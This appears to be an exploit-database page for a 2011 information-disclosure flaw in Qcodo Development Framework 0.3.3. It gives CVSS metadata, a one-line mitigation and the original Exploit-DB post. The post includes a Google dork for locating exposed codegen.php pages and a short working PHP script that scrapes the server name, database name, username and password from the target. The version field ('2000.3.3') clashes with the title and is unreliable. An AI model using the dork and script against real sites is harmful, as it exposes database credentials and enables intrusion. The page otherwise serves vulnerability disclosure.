Qcodo Development Framework 0.3.3 Full Info Disclosure

vendor:

Qcodo Development Framework

by:

Daniel Godoy

7.5

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Qcodo Development Framework

Affected Version From: 2000.3.3

Affected Version To: 2000.3.3

Patch Exists: YES

Related CWE: N/A

CPE: a:qcodo:qcodo_development_framework

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

Qcodo Development Framework 0.3.3 Full Info Disclosure

This exploit allows an attacker to gain access to the server, database, username and password of a vulnerable Qcodo Development Framework 0.3.3 installation. The exploit works by exploiting a vulnerability in the codegen.php file, which allows an attacker to access the server, database, username and password of the vulnerable installation.

Mitigation:

Upgrade to the latest version of Qcodo Development Framework.

Source

Exploit-DB raw data:

# Exploit Title: Qcodo Development Framework 0.3.3 Full Info
Disclosure
# Google Dork: allintext: /qcodo/_devtools/codegen.php 
# Date: 5/02/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software Link: http://www.qcodo.com/
# Version: All
# Tested on: Linux

[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro
Lezaeta, Nicolas Montanaro, Luciano Laporta Podazza,Oscar
Guerrero,Lucas Chavez,Inyexion, Login-Root, KikoArg, Ricota,
Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick
Jordan,Animacco,
yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El
Rodrix, l0ve, her0
 

[Qcodo Exploit]

<?php
$sitio = 'http://locahost/qcodo/';
$source = file_get_contents($sitio);
$explodeo = explode("array",$source);
$explodeo2= explode("'",$explodeo[1]);
echo "server: $explodeo2[7]";
echo "<br>database: $explodeo2[13]";
echo "<br>username: $explodeo2[17]";
echo "<br>password: $explodeo2[21]";

?>